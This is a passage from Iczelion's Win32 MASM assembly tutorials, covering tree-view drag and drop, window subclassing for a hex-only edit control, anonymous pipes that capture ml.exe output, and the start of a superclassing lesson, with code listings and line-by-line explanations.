WS_CHILD+WS_VISIBLE+TVS_HASLINES+TVS_HASBUTTONS+TVS_LINESATROOT,0,\
0,200,400,hWnd,NULL,\
hInstance,NULL ; Create the tree view control
mov hwndTreeView,eax
invoke ImageList_Create,16,16,ILC_COLOR16,2,10 ; create the associated image list
mov hImageList,eax
invoke LoadBitmap,hInstance,IDB_TREE ; load the bitmap from the resource
mov hBitmap,eax
invoke ImageList_Add,hImageList,hBitmap,NULL ; Add the bitmap into the image list
invoke DeleteObject,hBitmap ; always delete the bitmap resource
invoke SendMessage,hwndTreeView,TVM_SETIMAGELIST,0,hImageList
mov tvinsert.hParent,NULL
mov tvinsert.hInsertAfter,TVI_ROOT
mov tvinsert.item.imask,TVIF_TEXT+TVIF_IMAGE+TVIF_SELECTEDIMAGE
mov tvinsert.item.pszText,offset Parent
mov tvinsert.item.iImage,0
mov tvinsert.item.iSelectedImage,1
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
mov hParent,eax
mov tvinsert.hParent,eax
mov tvinsert.hInsertAfter,TVI_LAST
mov tvinsert.item.pszText,offset Child1
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
mov tvinsert.item.pszText,offset Child2
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
.elseif uMsg==WM_MOUSEMOVE
.if DragMode==TRUE
mov eax,lParam
and eax,0ffffh
mov ecx,lParam
shr ecx,16
mov tvhit.pt.x,eax
mov tvhit.pt.y,ecx
invoke ImageList_DragMove,eax,ecx
invoke ImageList_DragShowNolock,FALSE
invoke SendMessage,hwndTreeView,TVM_HITTEST,NULL,addr tvhit
.if eax!=NULL
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,eax
.endif
invoke ImageList_DragShowNolock,TRUE
.endif
.elseif uMsg==WM_LBUTTONUP
.if DragMode==TRUE
invoke ImageList_DragLeave,hwndTreeView
invoke ImageList_EndDrag
invoke ImageList_Destroy,hDragImageList
invoke SendMessage,hwndTreeView,TVM_GETNEXTITEM,TVGN_DROPHILITE,0
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_CARET,eax
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,0
invoke ReleaseCapture
mov DragMode,FALSE
.endif
.elseif uMsg==WM_NOTIFY
mov edi,lParam
assume edi:ptr NM_TREEVIEW
.if [edi].hdr.code==TVN_BEGINDRAG
invoke SendMessage,hwndTreeView,TVM_CREATEDRAGIMAGE,0,[edi].itemNew.hItem
mov hDragImageList,eax
invoke ImageList_BeginDrag,hDragImageList,0,0,0
invoke ImageList_DragEnter,hwndTreeView,[edi].ptDrag.x,[edi].ptDrag.y
invoke SetCapture,hWnd
mov DragMode,TRUE
.endif
assume edi:nothing
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start

Analysis:

Within WM_CREATE handler, you create the tree view control
    invoke CreateWindowEx,NULL,ADDR TreeViewClass,NULL,\
    WS_CHILD+WS_VISIBLE+TVS_HASLINES+TVS_HASBUTTONS+TVS_LINESATROOT,0,\
    0,200,400,hWnd,NULL,\
    hInstance,NULL
Note the styles. TVS_xxxx are the tree view specific styles.
    invoke ImageList_Create,16,16,ILC_COLOR16,2,10
    mov hImageList,eax
    invoke LoadBitmap,hInstance,IDB_TREE
    mov hBitmap,eax
    invoke ImageList_Add,hImageList,hBitmap,NULL
    invoke DeleteObject,hBitmap
    invoke SendMessage,hwndTreeView,TVM_SETIMAGELIST,0,hImageList
Next, you create an empty image list with will accept images of 16x16 pixels in size, 16-bit color and initially, it will contain 2 images but can be expanded to 10 if need arises. We then load the bitmap from the resource and add it to the image list just created. After that, we delete the handle to the bitmap since it will not be used anymore. When the image list is all set, we associate it with the tree view control by sending TVM_SETIMAGELIST to the tree view control.
    mov tvinsert.hParent,NULL
    mov tvinsert.hInsertAfter,TVI_ROOT
    mov tvinsert.u.item.imask,TVIF_TEXT+TVIF_IMAGE+TVIF_SELECTEDIMAGE
    mov tvinsert.u.item.pszText,offset Parent
    mov tvinsert.u.item.iImage,0
    mov tvinsert.u.item.iSelectedImage,1
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
We insert items into the tree view control, beginning from the root item. Since it will be root item, hParent member is NULL and hInsertAfter is TVI_ROOT. imask member specifies that pszText, iImage and iSelectedImage members of the TV_ITEM structure is valid. We fill those three members with appropriate value. pszText contains the label of the root item, iImage is the index into the image in the image list that will be displayed to the left of the unselected item, and iSelectedImage is the index into the image in the image list that will be displayed when the item is selected. When all appropriate members are filled in, we send TVM_INSERTITEM message to the tree view control to add the root item to it.
    mov hParent,eax
    mov tvinsert.hParent,eax
    mov tvinsert.hInsertAfter,TVI_LAST
    mov tvinsert.u.item.pszText,offset Child1
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
    mov tvinsert.u.item.pszText,offset Child2
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
After the root item is added, we can attach the child items to it. hParent member is now filled with the handle of the parent item. And we will use identical images in the image list so we don't change iImage and iSelectedImage member.
    .elseif uMsg==WM_NOTIFY
    mov edi,lParam
    assume edi:ptr NM_TREEVIEW
    .if [edi].hdr.code==TVN_BEGINDRAG
    invoke SendMessage,hwndTreeView,TVM_CREATEDRAGIMAGE,0,[edi].itemNew.hItem
    mov hDragImageList,eax
    invoke ImageList_BeginDrag,hDragImageList,0,0,0
    invoke ImageList_DragEnter,hwndTreeView,[edi].ptDrag.x,[edi].ptDrag.y
    invoke SetCapture,hWnd
    mov DragMode,TRUE
    .endif
    assume edi:nothing
Now when the user tries to drag an item, the tree view control sends WM_NOTIFY message with TVN_BEGINDRAG as the code. lParam is the pointer to an NM_TREEVIEW structure which contains several pieces of information we need so we put its value into edi and use edi as the pointer to NM_TREEVIEW structure. assume edi:ptr NM_TREEVIEW is a way to tell MASM to treat edi as the pointer to NM_TREEVIEW structure. We then create a drag image by sending TVM_CREATEDRAGIMAGE to the tree view control. It returns the handle to the newly created image list with a drag image inside. We call ImageList_BeginDrag to set the hotspot in the drag image. Then we enter the drag operation by calling ImageList_DragEnter. This function displays the drag image at the specified location in the specified window. We use ptDrag structure that is a member of NM_TREEVIEW structure as the point where the drag image should be initially displayed.After that, we capture the mouse input and set the flag to indicate that we now enter drag mode.
    .elseif uMsg==WM_MOUSEMOVE
    .if DragMode==TRUE
    mov eax,lParam
    and eax,0ffffh
    mov ecx,lParam
    shr ecx,16
    mov tvhit.pt.x,eax
    mov tvhit.pt.y,ecx
    invoke ImageList_DragMove,eax,ecx
    invoke ImageList_DragShowNolock,FALSE
    invoke SendMessage,hwndTreeView,TVM_HITTEST,NULL,addr tvhit
    .if eax!=NULL
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,eax
    .endif
    invoke ImageList_DragShowNolock,TRUE
    .endif
Now we concentrate on WM_MOUSEMOVE. When the user drags the drag image along, our parent window receives WM_MOUSEMOVE messages. In response to these messages, we update the drag image position with ImageList_DragMove. After that, we check if the drag image is over some item. We do that by sending TVM_HITTEST message to the tree view control with a point for it to check. If the drag image is over some item, we hilite that item by sending TVM_SELECTITEM message with TVGN_DROPHILITE flag to the tree view control. During the hilite operation, we hide the drag image so that it will not leave unsightly blots on the tree view control.
    .elseif uMsg==WM_LBUTTONUP
    .if DragMode==TRUE
    invoke ImageList_DragLeave,hwndTreeView
    invoke ImageList_EndDrag
    invoke ImageList_Destroy,hDragImageList
    invoke SendMessage,hwndTreeView,TVM_GETNEXTITEM,TVGN_DROPHILITE,0
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_CARET,eax
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,0
    invoke ReleaseCapture
    mov DragMode,FALSE
    .endif
When the user releases the left mouse button, the drag operation is at the end. We leave the drag mode by calling ImageList_DragLeave, followed by ImageList_EndDrag and ImageList_Destroy. To make the tree view items look good, we also check the last hilited item, and select it. We must also un-hilite it else the other items will not get hilited when they are selected. And lastly, we release the mouse capture.
This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 20: Window Subclassing

In this tutorial, we will learn about window subclassing, what it is and how to use it to your advantage.
Download the example here.

Theory:

If you program in Windows for some time, you will find some cases where a window has nearly the attributes you need in your program but not quite. Have you encountered a situation where you want some special kind of edit control that can filter out some unwanted text? The straightforward thing to do is to code your own window. But it's really hard work and time-consuming. Window subclassing to the rescue.
In a nutshell, window subclassing allows you to "take over" the subclassed window. You will have absolute control over it. Let's take an example to make this clearer. Suppose you need a text box that accepts only hex numbers. If you use a simple edit control, you have no say whatsoever when your user types something other than hex numbers into your text box, ie. if the user types "zb+q*" into your text box, you can't do anything with it except rejecting the whole text string. This is unprofessional at least. In essence, you need the ability to examine each character the user typed into the text box right at the moment he typed it.
We will examine how to do that now. When the user types something into a text box, Windows sends WM_CHAR message to the edit control's window procedure. This window procedure resides inside Windows itself so we can't modify it. But we can redirect the message flow to our own window procedure. So that our window procedure will get first shot at any message Windows sends to the edit control. If our window procedure chooses to act on the message, it can do so. But if it doesn't want to handle the message, it can pass it to the original window procedure. This way, our window procedure inserts itself between Windows and the edit control. Look at the flow below:

    Before Subclassing

    Windows ==> edit control's window procedure

    After Subclassing

    Windows ==> our window procedure -----> edit control's window procedure
Now we put our attention on how to subclass a window. Note that subclassing is not limited to controls, it can be used with any window.
Let's think about how Windows knows where the edit control's window procedure resides. A guess?......lpfnWndProc member of WNDCLASSEX structure. If we can replace this member with the address of our own window procedure, Windows will send messages to our window proc instead.
We can do that by calling SetWindowLong.
    SetWindowLong PROTO hWnd:DWORD, nIndex:DWORD, dwNewLong:DWORD
hWnd = handle of the window to change the value in the WNDCLASSEX structure
nIndex == value to change.
    GWL_EXSTYLE Sets a new extended window style.
    GWL_STYLE Sets a new window style.
    GWL_WNDPROC Sets a new address for the window procedure.
    GWL_HINSTANCE Sets a new application instance handle.
    GWL_ID Sets a new identifier of the window.
    GWL_USERDATA Sets the 32-bit value associated with the window. Each window has a corresponding 32-bit value intended for use by the application that created the window.
dwNewLong = the replacement value.
So our job is easy: We code a window proc that will handle the messages for the edit control and then call SetWindowLong with GWL_WNDPROC flag, passing along the address of our window proc as the third parameter. If the function succeeds, the return value is the previous value of the specified 32-bit integer, in our case, the address of the original window procedure. We need to store this value for use within our window procedure.
Remember that there will be some messages we don't want to handle, we will pass them to the original window procedure. We can do that by calling CallWindowProc function.
    CallWindowProc PROTO lpPrevWndFunc:DWORD, \
    hWnd:DWORD,\
    Msg:DWORD,\
    wParam:DWORD,\
    lParam:DWORD
lpPrevWndFunc = the address of the original window procedure.
The remaining four parameters are the ones passed to our window procedure. We just pass them along to CallWindowProc.

Code Sample:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
EditWndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SubclassWinClass",0
AppName db "Subclassing Demo",0
EditClass db "EDIT",0
Message db "You pressed Enter in the text box!",0

.data?
hInstance HINSTANCE ?
hwndEdit dd ?
OldWndProc dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg==WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
20,300,25,hWnd,NULL,\
hInstance,NULL
mov hwndEdit,eax
invoke SetFocus,eax
;-----------------------------------------
; Subclass it!
;-----------------------------------------
invoke SetWindowLong,hwndEdit,GWL_WNDPROC,addr EditWndProc
mov OldWndProc,eax
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

EditWndProc PROC hEdit:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
.if uMsg==WM_CHAR
mov eax,wParam
.if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
.if al>="a" && al<="f"
sub al,20h
.endif
invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
ret
.endif
.elseif uMsg==WM_KEYDOWN
mov eax,wParam
.if al==VK_RETURN
invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
invoke SetFocus,hEdit
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
EditWndProc endp
end start

Analysis:

    invoke SetWindowLong,hwndEdit,GWL_WNDPROC,addr EditWndProc
    mov OldWndProc,eax
After the edit control is created, we subclass it by calling SetWindowLong, replacing the address of the original window procedure with our own window procedure. Note that we store the address of the original window procedure for use with CallWindowProc. Note the EditWndProc is an ordinary window procedure.
    .if uMsg==WM_CHAR
    mov eax,wParam
    .if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
    .if al>="a" && al<="f"
    sub al,20h
    .endif
    invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
    ret
    .endif
Within EditWndProc, we filter WM_CHAR messages. If the character is between 0-9 or a-f, we accept it by passing along the message to the original window procedure. If it is a lower case character, we convert it to upper case by adding it with 20h. Note that, if the character is not the one we expect, we discard it. We don't pass it to the original window proc. So when the user types something other than 0-9 or a-f, the character just doesn't appear in the edit control.
    .elseif uMsg==WM_KEYDOWN
    mov eax,wParam
    .if al==VK_RETURN
    invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
    invoke SetFocus,hEdit
    .else
    invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
    ret
    .end
I want to demonstrate the power of subclassing further by trapping Enter key. EditWndProc checks WM_KEYDOWN message if it's VK_RETURN (the Enter key). If it is, it displays a message box saying "You pressed the Enter key in the text box!". If it's not an Enter key, it passes the message to the original window procedure.
You can use window subclassing to take control over other windows. It's one of the powerful techniques you should have in your arsenal.
This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 21: Pipe

In this tutorial, we will explore pipe, what it is and what we can use it for. To make it more interesting, I throw in the technique on how to change the background and text color of an edit control.
Download the example here.

Theory:

Pipe is a communication conduit or pathway with two ends. You can use pipe to exchange the data between two different processes, or within the same process. It's like a walkie-talkie. You give the other party one set and he can use it to communicate with you.
There are two types of pipes: anonymous and named pipes. Anonymous pipe is, well, anonymous: that is, you can use it without knowing its name. A named pipe is the opposite: you have to know its name before you can use it.
You can also categorize pipes according to its property: one-way or two-way. In a one-way pipe, the data can flow only in one direction: from one end to the other. While in a two-way pipe, the data can be exchanged between both ends.
An anonymous pipe is always one-way while a named pipe can be one-way or two-way. A named pipe is usually used in a network environment where a server can connect to several clients.
In this tutorial, we will examine anonymous pipe in some detail. Anonymous pipe's main purpose is to be used as a communcation pathway between a parent and child processes or between child processes.
Anonymous pipe is really useful when you deal with a console application. A console application is a kind of win32 program which uses a console for its input & output. A console is like a DOS box. However, a console application is a fully 32-bit program. It can use any GUI function, the same as other GUI programs. It just happens to have a console for its use.
A console application has three handles it can use for its input & output. They are called standard handles. There are three of them: standard input, standard output and standard error. Standard input handle is used to read/retrieve the information from the console and standard output handle is used to output/print the information to the console. Standard error handle is used to report error condition since its output cannot be redirected.
A console application can retrieve those three standard handles by calling GetStdHandle function, specifying the handle it wants to obtain. A GUI application doesn't have a console. If you call GetStdHandle, it will return error. If you really want to use a console, you can call AllocConsole to allocate a new console. However, don't forget to call FreeConsole when you're done with the console.
Anonymous pipe is most frequently used to redirect input and/or output of a child console application. The parent process may be a console or a GUI application but the child must be a console app. for this to work. As you know, a console application uses standard handles for its input and output. If we want to redirect the input and/or output of a console application, we can replace the handle with a handle to one end of a pipe. A console application will not know that it's using a handle to one end of a pipe. It'll use it as a standard handle. This is a kind of polymorphism, in OOP jargon. This approach is powerful since we need not modify the child process in anyway.
Another thing you should know about a console application is where it gets those standard handles from. When a console application is created, the parent process has two choices: it can create a new console for the child or it can let the child inherit its own console. For the second approach to work, the parent process must be a console application or if it's a GUI application, it must call AllocConsole first to allocate a console.
Let's begin the work. In order to create an anonymous pipe you need to call CreatePipe. CreatePipe has the following prototype:
CreatePipe proto pReadHandle:DWORD, \
pWriteHandle:DWORD,\
pPipeAttributes:DWORD,\
nBufferSize:DWORD
  • pReadHandle is a pointer to a dword variable that will receive the handle to the read end of the pipe
  • pWriteHandle is a pointer to a dword variable that will receive the handle to the write end of the pipe.
  • pPipeAttributes points to a SECURITY_ATTRIBUTES structure that determines whether the returned read & write handles are inheritable by child processes
  • nBufferSize is the suggested size of the buffer the pipe will reserve for use. This is a suggested size only. You can use NULL to tell the function to use the default size.
If the call is successful, the return value is nonzero. If it failed, the return value is zero.
After the call is successful, you will get two handles, one to read end of the pipe and the other to the write end. Now I will outline the steps needed for redirecting the standard output of a child console program to your own process.Note that my method differs from the one in Borland's win32 api reference. The method in win32 api reference assumes the parent process is a console application and thus the child can inherit the standard handles from it. But most of the time, we will need to redirect output from a console application to a GUI one.
  1. Create an anonymous pipe with CreatePipe. Don't forget to set the bInheritable member of SECURITY_ATTRIBUTES to TRUE so the handles are inheritable.
  2. Now we must prepare the parameters we will pass to CreateProcess since we will use it to load the child console application. One important structure is the STARTUPINFO structure. This structure determines the appearance of the main window of the child process when it first appears. This structure is vital to our purpose. You can hide the main window and pass the pipe handle to the child console process with it. Below is the members you must fill:
    • cb : the size of STARTUPINFO structure
    • dwFlags : the binary bit flags that determine which members of the structure are valid also it governs the show/hide state of the main window. For our purpose, you should use a combination of STARTF_USESHOWWINDOW and STARTF_USESTDHANDLES
    • hStdOutput and hStdError : the handles you want the child process to use as standard output/error handles. For our purpose, we will pass write handle of the pipe as the standard output and error of the child. So when the child outputs something to the standard output/error, it actually passes the info via the pipe to the parent process.
    • wShowWindow governs the show/hide state of the main window. For our purpose, we don't want the console window of the child to show so we put SW_HIDE into this member.
  3. Call CreateProcess to load the child application. After CreateProcess is successful, the child is still dormant. It is loaded into memory but it doesn't run immediately
  4. Close the write pipe handle. This is necessary. Because the parent process has no use for the write pipe handle, and the pipe won't work if there are more than one write end, we MUST close it before reading the data from the pipe. However, don't close the write handle before calling CreateProcess, your pipe will be broken. You should close it just after CreateProcess returns and before you read data from the read end of the pipe.
  5. Now you can read data from the read end of the pipe with ReadFile. With ReadFile, you kick the child process into running mode. It will start execution and when it writes something to the standard output handle (which is actually the handle to the write end of the pipe), the data are sent through the pipe to the read end. You can think of ReadFile as sucking data from the read end of the pipe. You must call ReadFile repeatedly until it returns 0 which means there are no more data to be read. You can do anything with the data you read from the pipe. In our example, I put them into an edit control.
  6. Close the read pipe handle.

Example:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU equ 101 ; the ID of the main menu
IDM_ASSEMBLE equ 40001

.data
ClassName db "PipeWinClass",0
AppName db "One-way Pipe Example",0 EditClass db "EDIT",0
CreatePipeError db "Error during pipe creation",0
CreateProcessError db "Error during process creation",0
CommandLine db "ml /c /coff /Cp test.asm",0

.data?
hInstance HINSTANCE ?
hwndEdit dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,IDR_MAINMENU
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW+WS_VISIBLE,CW_USEDEFAULT,\ CW_USEDEFAULT,400,200,NULL,NULL,\ hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL rect:RECT
LOCAL hRead:DWORD
LOCAL hWrite:DWORD
LOCAL startupinfo:STARTUPINFO
LOCAL pinfo:PROCESS_INFORMATION
LOCAL buffer[1024]:byte
LOCAL bytesRead:DWORD
LOCAL hdc:DWORD
LOCAL sat:SECURITY_ATTRIBUTES
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,addr EditClass, NULL, WS_CHILD+ WS_VISIBLE+ ES_MULTILINE+ ES_AUTOHSCROLL+ ES_AUTOVSCROLL, 0, 0, 0, 0, hWnd, NULL, hInstance, NULL
mov hwndEdit,eax
.elseif uMsg==WM_CTLCOLOREDIT
invoke SetTextColor,wParam,Yellow
invoke SetBkColor,wParam,Black
invoke GetStockObject,BLACK_BRUSH
ret
.elseif uMsg==WM_SIZE
mov edx,lParam
mov ecx,edx
shr ecx,16
and edx,0ffffh
invoke MoveWindow,hwndEdit,0,0,edx,ecx,TRUE
.elseif uMsg==WM_COMMAND
.if lParam==0
mov eax,wParam
.if ax==IDM_ASSEMBLE
mov sat.niLength,sizeof SECURITY_ATTRIBUTES
mov sat.lpSecurityDescriptor,NULL
mov sat.bInheritHandle,TRUE
invoke CreatePipe,addr hRead,addr hWrite,addr sat,NULL
.if eax==NULL
invoke MessageBox, hWnd, addr CreatePipeError, addr AppName, MB_ICONERROR+ MB_OK
.else
mov startupinfo.cb,sizeof STARTUPINFO
invoke GetStartupInfo,addr startupinfo
mov eax, hWrite
mov startupinfo.hStdOutput,eax
mov startupinfo.hStdError,eax
mov startupinfo.dwFlags, STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLES
mov startupinfo.wShowWindow,SW_HIDE
invoke CreateProcess, NULL, addr CommandLine, NULL, NULL, TRUE, NULL, NULL, NULL, addr startupinfo, addr pinfo
.if eax==NULL
invoke MessageBox,hWnd,addr CreateProcessError,addr AppName,MB_ICONERROR+MB_OK
.else
invoke CloseHandle,hWrite
.while TRUE
invoke RtlZeroMemory,addr buffer,1024
invoke ReadFile,hRead,addr buffer,1023,addr bytesRead,NULL
.if eax==NULL
.break
.endif
invoke SendMessage,hwndEdit,EM_SETSEL,-1,0
invoke SendMessage,hwndEdit,EM_REPLACESEL,FALSE,addr buffer
.endw
.endif
invoke CloseHandle,hRead
.endif
.endif
.endif
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret
.endif
xor eax,eax
ret
WndProc endp
end start

Analysis:

The example will call ml.exe to assemble a file named test.asm and redirect the output of ml.exe to the edit control in its client area.
When the program is loaded, it registers the window class and creates the main window as usual. The first thing it does during main window creation is to create an edit control which will be used to display the output of ml.exe.
Now the interesting part, we will change the text and background color of the edit control. When an edit control is going to paint its client area, it sends WM_CTLCOLOREDIT message to its parent.
wParam contains the handle to the device context that the edit control will use to write its own client area. We can use this opportunity to modify the characteristics of the HDC.
.elseif uMsg==WM_CTLCOLOREDIT
invoke SetTextColor,wParam,Yellow
invoke SetTextColor,wParam,Black
invoke GetStockObject,BLACK_BRUSH
ret
SetTextColor changes the text color to yellow. SetTextColor changes the background color of the text to black. And lastly, we obtain the handle to the black brush which we return to Windows. With WM_CTLCOLOREDIT message, you must return a handle to a brush which Windows will use to paint the background of the edit control. In our example, I want the background to be black so I return the handle to the black brush to Windows.
Now when the user selects Assemble menuitem, it creates an anonymous pipe.

.if ax==IDM_ASSEMBLE
mov sat.niLength,sizeof SECURITY_ATTRIBUTES
mov sat.lpSecurityDescriptor,NULL
mov sat.bInheritHandle,TRUE

Prior to calling CreatePipe, we must fill the SECURITY_ATTRIBUTES structure first. Note that we can use NULL in lpSecurityDescriptor member if we don't care about security. And the bInheritHandle member must be TRUE so that the pipe handles are inheritable to the child process.

invoke CreatePipe,addr hRead,addr hWrite,addr sat,NULL

After that, we call CreatePipe which, if successful, will fill hRead and hWrite variables with the handles to read and write ends of the pipe respectively.

mov startupinfo.cb,sizeof STARTUPINFO
invoke GetStartupInfo,addr startupinfo
mov eax, hWrite
mov startupinfo.hStdOutput,eax
mov startupinfo.hStdError,eax
mov startupinfo.dwFlags, STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLES
mov startupinfo.wShowWindow,SW_HIDE

Next we must fill the STARTUPINFO structure. We call GetStartupInfo to fill the STARTUPINFO structure with default values of the parent process. You MUST fill the STARTUPINFO structure with this call if you intend your code to work under both win9x and NT. After GetStartupInfo call returns, you can modify the members that are important. We copy the handle to the write end of the pipe into hStdOutput and hStdError since we want the child process to use it instead of the default standard output/error handles. We also want to hide the console window of the child process, so we put SW_HIDE value into wShowWidow member. And lastly, we must indicate that hStdOutput, hStdError and wShowWindow members are valid and must be used by specifying the flags STARTF_USESHOWWINDOW and STARTF_USESTDHANDLES in dwFlags member.

invoke CreateProcess, NULL, addr CommandLine, NULL, NULL, TRUE, NULL, NULL, NULL, addr startupinfo, addr pinfo

We now create the child process with CreateProcess call. Note that the bInheritHandles parameter must be set to TRUE for the pipe handle to work.

invoke CloseHandle,hWrite

After we successfully create the child process, we must close the write end of the pipe. Remember that we passed the write handle to the child process via STARTUPINFO structure. If we don't close the write handle from our end, there will be two write ends. And that the pipe will not work. We must close the write handle after CreateProcess but before we read data from the read end of the pipe.

.while TRUE
invoke RtlZeroMemory,addr buffer,1024
invoke ReadFile,hRead,addr buffer,1023,addr bytesRead,NULL
.if eax==NULL
.break
.endif
invoke SendMessage,hwndEdit,EM_SETSEL,-1,0
invoke SendMessage,hwndEdit,EM_REPLACESEL,FALSE,addr buffer
.endw

Now we are ready to read the data from the standard output of the child process. We will stay in an infinite loop until there are no more data left to read from the pipe. We call RtlZeroMemory to fill the buffer with zeroes then call ReadFile, passing the read handle of the pipe in place of a file handle. Note that we only read a maximum of 1023 bytes since we need the data to be an ASCIIZ string which we can pass on to the edit control.
When ReadFile returns with the data in the buffer, we fill the data into the edit control. However, there is a slight problem here. If we use SetWindowText to put the data into the edit control, the new data will overwrite existing data! We want the data to append to the end of the existing data.
To achieve that goal, we first move the caret to the end of the text in the edit control by sending EM_SETSEL message with wParam==-1. Next, we append the data at that point with EM_REPLACESEL message.

invoke CloseHandle,hRead

When ReadFile returns NULL, we break out of the loop and close the read handle.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 22: Superclassing

In this tutorial, we will learn about superclassing, what it is and what it is for. You will also learn how to provide Tab key navigation to the controls in your own window.
Download the example here

Theory:

In your programming career, you will surely encounter a situation where you need several controls with *slightly* different behavior. For example, you may need 10 edit controls which accept only number. There are several ways to achieve that goal:
  • Create your own class and instantiate the controls
  • Create those edit control and then subclass all of them
  • Superclass the edit control
